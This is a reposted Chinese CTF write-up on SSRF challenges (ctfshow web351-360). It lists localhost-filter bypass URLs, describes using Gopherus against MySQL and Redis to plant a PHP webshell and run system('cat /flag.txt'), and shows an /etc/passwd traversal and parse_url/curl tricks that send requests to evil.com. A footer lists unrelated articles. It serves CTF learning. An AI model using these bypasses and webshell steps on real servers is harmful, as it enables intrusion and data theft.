SSRF(ctfshow)

web351-358

這部分的題目都是明文的,按照題目要求繞過就行了

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>

本地讀取flag.php

本機地址過濾繞過方法:

url=http://127.1/flag.php
url=http://sudo.cc/flag.php
url=http://0/flag.php//借助服務器
url=http://服務器ip/1.php
1.php的內容:<?php
header("Location:http://127.0.0.1/flag.php"); //以http://ctf.開頭,以show結尾,用@截斷
url=http://ctf.@127.0.0.1/flag.php?show

web359(打mysql)

題目是一個登錄頁面,修改returl可以看到可以訪問輸入的url,我們這里利用gopherus工具通過mysql模塊生成payload

這里的_后面還要再次url編碼(后端curl接收到參數之后會默認再解碼一次)

post發送之后訪問2.php

ls之后看到一個flag.txt 文件查看

cmd=system('cat /flag.txt');

解析

這道題的思路是通過遠程連接mysql,并把一句話木馬寫入文件

只在以下情境下生效

  1. mysql允許遠程連接

  2. root用戶沒有設置密碼

  3. mysql用戶有文件寫入的權限

  4. 知道web目錄的路徑

  5. 存在ssrf漏洞可以觸發gopher這個請求。

web360(打redis)

同理再次url編碼后發送,訪問shell.php,post提交cmd=system('cat /flaaag');得到flag

總結

127繞過

各種指向127.0.0.1的地址

http://localhost/         # localhost就是代指127.0.0.1
http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window測試了下不行
http://[::]:80/           # 在liunx下可用,window測試了下不行
http://127。0。0。1/       # 用中文句號繞過
http://①②⑦.?.?.①
http://127.1/
http://127.00000.00000.001/ # 0的數量多一點少一點都沒影響,最后還是會指向127.0.0.1
url=http://sudo.cc/flag.php//借助服務器
url=http://服務器ip/1.php
1.php的內容:<?php
header("Location:http://127.0.0.1/flag.php"); //以http://ctf.開頭,以show結尾,用@截斷
url=http://ctf.@127.0.0.1/flag.php?show

利用不存在的協議頭繞過指定的協議頭

file_get_contents()函數的一個特性,即當PHP的file_get_contents()函數在遇到不認識的協議頭時會把這個協議頭當成文件夾,造成目錄穿越漏洞,這時候只需不斷往上跳轉目錄即可讀到根目錄的文件

如:ssrf.php?url=httpsssss://../../../../../../etc/passwd

URL解析差異

1.readfile和parse_user函數解析差異繞過指定端口

$url = $_GET['url'];
$parsed = parse_url($url);// 檢查端口是否為允許的80端口
if(isset($parsed['port']) && $parsed['port'] != 80) {die("Port not allowed");
}// 實際讀取文件
readfile($url);

如果我們要讀取11211端口的文件的話可以

這種差異來源于

  • parse_url() 將 @ 符號前的內容識別為認證信息

  • readfile() 的底層實現可能使用不同的 URL 解析器,可能將最后一個 @ 后的內容作為實際目標

2.利用curl和parse_url的解析差異繞過指定host

http://example.com.evil.com/
http://example.com\@evil.com/
http://example.com%[email protected]/parse_url() 解析:
host: example.com (看起來合法)cURL 實際連接:
連接到 example.com.evil.com 或 evil.com

這種差異源于:

  • 域名解析差異

parse_url() 可能不驗證域名的有效性

cURL 會解析最終域名

  • 特殊字符處理:

parse_url() 可能忽略某些特殊字符

cURL 可能將某些字符解釋為分隔符

  • 編碼差異

URL 編碼字符可能被不同方式解碼

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/88663.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/88663.shtml
英文地址,請注明出處:http://en.pswp.cn/web/88663.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

亞矩陣云手機:重構物流供應鏈,讓跨境包裹“飛”得更快更準

在跨境電商“時效即生命”的競爭中&#xff0c;物流信息滯后、清關效率低下、成本居高不下已成為商家最頭疼的“三座大山”。傳統模式下&#xff0c;人工更新物流狀態耗時易錯&#xff0c;跨境包裹常因清關延誤遭客戶投訴&#xff0c;而高昂的物流成本更直接吞噬利潤。亞矩陣云…

HTML(5) 代碼規范

HTML(5) 代碼規范 引言 HTML(HyperText Markup Language)是一種用于創建網頁的標準標記語言。HTML5 作為最新的 HTML 標準,自 2014 年正式發布以來,已經成為了構建現代網頁應用的基礎。本文將詳細介紹 HTML5 代碼規范,包括結構、語法、屬性以及最佳實踐等內容,旨在幫助…

【PTA數據結構 | C語言版】順序棧的3個操作

本專欄持續輸出數據結構題目集&#xff0c;歡迎訂閱。 文章目錄題目代碼題目 請編寫程序&#xff0c;將 n1 個整數順序壓入容量為 n 的棧&#xff0c;隨后執行 n1 次取頂并出棧的操作。 輸入格式&#xff1a; 輸入首先在第一行給出正整數 n&#xff08;≤10^4 &#xff09;&a…

使用Pycharm集成開發工具遠程調試部署在虛擬機上的flask項目:超級詳細的完整指南

本文將詳細介紹如何通過PyCharm Professional版遠程調試部署在虛擬機(這里以Ubuntu為例)中的Flask項目。這種開發方式特別適合需要在接近生產環境調試的場景。 虛擬機網絡配置 這里用到的是VMware的NAT&#xff0c;即網絡地址轉換模式&#xff0c;要保證你Linux虛擬機的IP&…

UE制作的 AI 交互數字人嵌入到 Vue 開發的信息系統中的方法和步驟

要將 UE(Unreal Engine,虛幻引擎)制作的 AI 交互數字人嵌入到 Vue 開發的信息系統首頁中運行,可以參考以下方法步驟以及涉及的軟件工具: 準備工作 軟件工具 Unreal Engine:用于創建和編輯 AI 交互數字人,需要在 UE 中完成數字人的建模、綁定骨骼、添加 AI 交互邏輯等工…

基于elementUI的el-autocomplete組件的自動補全下拉框實踐

<template><div :class"$options.name"><el-autocompletestyle"width: 100%"ref"autocomplete":popper-class"${$options.name}-el-autocomplete"v-model"inputSearchValue":placeholder"輸入關鍵詞...…

Gameplay - 獨立游戲Celeste的Player源碼

TGA2018最佳獨立游戲《蔚藍》的一些公開代碼&#xff1b;主要是Player部分的代碼&#xff1a;using System; using System.Collections; using System.Collections.Generic; using Monocle; using Microsoft.Xna.Framework; using Microsoft.Xna.Framework.Input;namespace Cel…

基于大模型的鼻咽癌全周期預測及診療優化研究報告

目錄 一、引言 1.1 研究背景與意義 1.2 國內外研究現狀 1.3 研究目標與創新點 二、大模型技術與鼻咽癌相關理論基礎 2.1 大模型技術概述 2.2 鼻咽癌疾病知識 2.3 大模型在醫學領域的應用 三、數據收集與預處理 3.1 數據來源 3.2 數據清洗 3.3 數據標注 3.4 數據標…

基于odoo17的設計模式詳解---訪問模式

大家好&#xff0c;我是你的Odoo技術伙伴。想象一下&#xff0c;我們有一個復雜的對象結構&#xff0c;比如一個由不同類型的訂單行&#xff08;銷售行、折扣行、備注行&#xff09;組成的銷售訂單。現在&#xff0c;我們需要對這個結構執行一些新的操作&#xff0c;比如&#…

使用langgraph 構建RAG 智能問答代理

RAG 智能問答代理&#xff1a; ? 支持用戶持續提問 ? 根據模型判斷是否需要查資料 ? 自動調用 PDF 檢索工具查找內容 ? 自動引用內容回答 ? 可以輸入 exit / quit 退出 下載需要的library pip install langchain-google-genai pip install langgraph pip install langchai…

零基礎搭建監控系統:Grafana+InfluxDB 保姆級教程,5分鐘可視化服務器性能!?

??你是否遇到過這些問題&#xff1f;??服務器突然卡頓&#xff0c;卻找不到性能瓶頸需要手動查看日志&#xff0c;無法實時監控數據運維報表全靠截圖拼接&#xff0c;領導直呼“太原始”?今天教你用GrafanaInfluxDB構建企業級監控系統&#xff0c;從此告別“盲人摸象”式運…

Java中的wait和notify、Condition接口的使用

Java中的wait和notify機制基礎概念在Java中&#xff0c;wait()和notify()是Object類的原生方法&#xff0c;用于實現線程間的協作&#xff1a;wait()使當前線程釋放對象鎖并進入等待狀態必須在synchronized代碼塊內調用語法&#xff1a;obj.wait() 或 obj.wait(long timeout)線…

【Modern C++ Part9】Prefer-alias-declarations-to-typedefs

條款9&#xff1a;優先使用聲明別名而不是typedef 我有信心說&#xff0c;大家都同意使用STL容器是個好的想法&#xff0c;并且我希望&#xff0c;條款18可以說服你使用std::unique_ptr也是個好想法&#xff0c;但是我想絕對我們中間沒有人喜歡寫像這樣std::unique_ptr<std:…

STM32第二十一天定時器TIM

1 定時器基礎知識a:上來說就是用來定時的機器&#xff0c;是存在于STM32單片機中的一個外設。STM32總共有8個定時器&#xff0c;分別是2個高級定時器(TIM1、TIM8)&#xff0c;4個通用定時器 (TIM2、TIM3、TIM4、TIM5) 和2個基本定時器 (TIM6、TIM7)&#xff0c;如下圖所示&…

鼎捷T100程序開發:校驗程序詳解

校驗程序概述 T100系統校驗程序需要確保系統數據的準確性、完整性和一致性&#xff0c;相當于企業信息系統的"健康體檢醫生"。它通過預設規則掃描系統數據&#xff0c;識別異常和錯誤&#xff0c;確保業務運行可靠。通過持續完善的校驗機制&#xff0c;企業能夠構建數…

BaseDao 通用查詢方法設計與實現

BaseDao 通用查詢方法設計與實現 一、通用查詢方法設計思路 1. 核心查詢功能矩陣查詢類型方法名功能說明復雜度主鍵查詢findById()根據主鍵獲取單個實體?全量查詢findAll()獲取全部實體?條件查詢findByCondition()動態條件查詢???分頁查詢findPage()分頁結果集????排序…

llama.cpp gguf主要量化方法

量化是一種通過降低模型參數的表示精度來減少模型的大小和計算存儲需求的方法&#xff0c;如把單精度fp32轉化為int8來減少存儲和計算成本。 常見的是線性量化&#xff0c;公式 r S(q-Z)&#xff0c;將實數值r映射為量化的整數值q&#xff0c;其中縮放因子S和零點Z根據參數分…

汽車級MCU選型新方向:eVTOL垂槳控制監控芯片的替代選型技術分析

摘要&#xff1a;隨著eVTOL&#xff08;電動垂直起降航空器&#xff09;領域的蓬勃發展&#xff0c;對于高性能、高可靠性的垂槳控制監控芯片的需求日益迫切。本文旨在深入探討汽車級MCU&#xff08;微控制單元&#xff09;在這一新興領域的應用潛力&#xff0c;以國科安芯推出…

Deepoc具身智能大模型:送餐機器人如何學會“讀心術”

Deepoc具身智能大模型&#xff1a;送餐機器人如何學會“讀心術”深夜十點的商場火鍋店&#xff0c;一臺銀色機器人正穿越喧鬧的人群。當它感知到奔跑的兒童突然變向&#xff0c;驅動輪立即反向微調0.3度&#xff1b;托盤上的牛油鍋底因顧客推椅產生晃動&#xff0c;平衡系統瞬間…

學習設計模式《十七》——狀態模式

一、基礎概念 狀態模式的本質是【根據狀態來分離和選擇行為】。 狀態模式的定義&#xff1a;允許一個對象在其內部狀態改變時改變它的行為&#xff1b;對象看起來似乎修改了它的類。 認識狀態模式序號認識狀態模式說明1狀態和行為通常指的是對象實例的屬性的值&#xff1b;而行…